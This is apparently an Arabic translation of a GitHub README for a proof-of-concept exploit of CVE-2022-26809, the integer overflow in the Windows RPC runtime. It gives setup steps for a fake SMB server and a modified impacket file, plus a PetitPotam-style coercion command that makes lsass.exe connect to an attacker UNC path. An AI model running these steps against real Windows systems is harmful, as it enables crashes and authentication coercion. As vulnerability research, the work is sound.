
إثبات المفهوم للاستغلال CVE-2022-26809، وهي ثغرة تجاوز عدد صحيح في وقت تشغيل RPC في Windows. يتضمن نصوص تشغيل باستخدام أسلوب PetitPotam-style لإكراه مسار UNC ضد lsass.exe وخادم SMB وهمي لاختبار الاستغلال.
هذا المستودع هو مجرد بحث بسيط عن الثغرة، للحصول على تحليل أكثر تفصيلاً، يرجى الرجوع هنا.
تحديث: 05/19 2022
لم يتم الانتهاء من هذا التحليل بعد....
تحديث: 05/22 2022
منشور HuanGMz و مدونة corelight تظهر النقطة الضعيفة الحقيقية:
OSF_CASSOCIATION::ProcessBindAckOrNak
يتم تشغيل هذه الثغرة مثل CVE-2021-43893، عند إرسال طلب ESFRPC إلى lsass.exe مع مسار UNC، سيحاول الضحية الوصول إلى الهدف كعميل، وبالتالي سيؤدي إلى تجاوز عدد صحيح في واجهة برمجة تطبيقات العميل
إذا كان لديك أي حل أفضل لتشغيل هذه الثغرة، فلا تتردد في تقديم issue أو pr :)
لأن الثغرة تُشغّل مثل CVE-2021-43893، فقط قم باستنساخ كود PetitPotam.
قم فقط بإعداد البيئة كما هنا:
fake_smb_server.py على خادم المهاجم بعد استبدال rpcrt.py بالملف الأصلي(**لأن المنفذ 445 مشغول من قبل النظام على Windows، يُوصى بنشر الخدمة على لينكس **python petitpotam.py -pipe lsarpc -method DecryptFileSrv -debug "user:[email protected]" "\\attacker.path\realfile
lsass.exe(على الرغم من أنني لم أنجح في تشغيل BSoD، ولكن وفقًا لـ windbg، تم تشغيل تجاوز العدد الصحيح)الوصف القديم
هذا هو كود إعادة الإنتاج لثغرة RPC في Windows CVE-2022-26809، وهو يشير إلى https://github.com/microsoft/Windows-classic-samples/blob/main/Samples/Win7Samples/netds/rpc/hello.
إصدار Python الخاص بي هو 3.6.7
لست متأكدًا مما إذا كان GetCoalescedBuffer سيتضمن الثغرة الحقيقية CVE-2022-26809، فقط احتفظ به
poc.py فقط يحاول تشغيل الوظيفة الضعيفة OSF_SCALL::GetCoalescedBuffer، وهي لن تسبب أي تعطل لأن تجاوز عدد صحيح dword صعب جدًا إعادة إنتاجه. و rpcrt.py هو حزمة Python impacket.dcerpc.v5.rpcrt، فقط استبدله بالملف الأصلي لتشغيل الثغرة (تذكر أن تأخذ نسخة احتياطية من الأصل :) أعتقد أن rpcrt.py يحتوي على الكثير من الأخطاء).
إذا لم يعمل، ربما يمكن لـ wireshark المساعدة في تحديد الخلل.
إذا لزم الأمر، استخدم nmake لإعادة بنائه.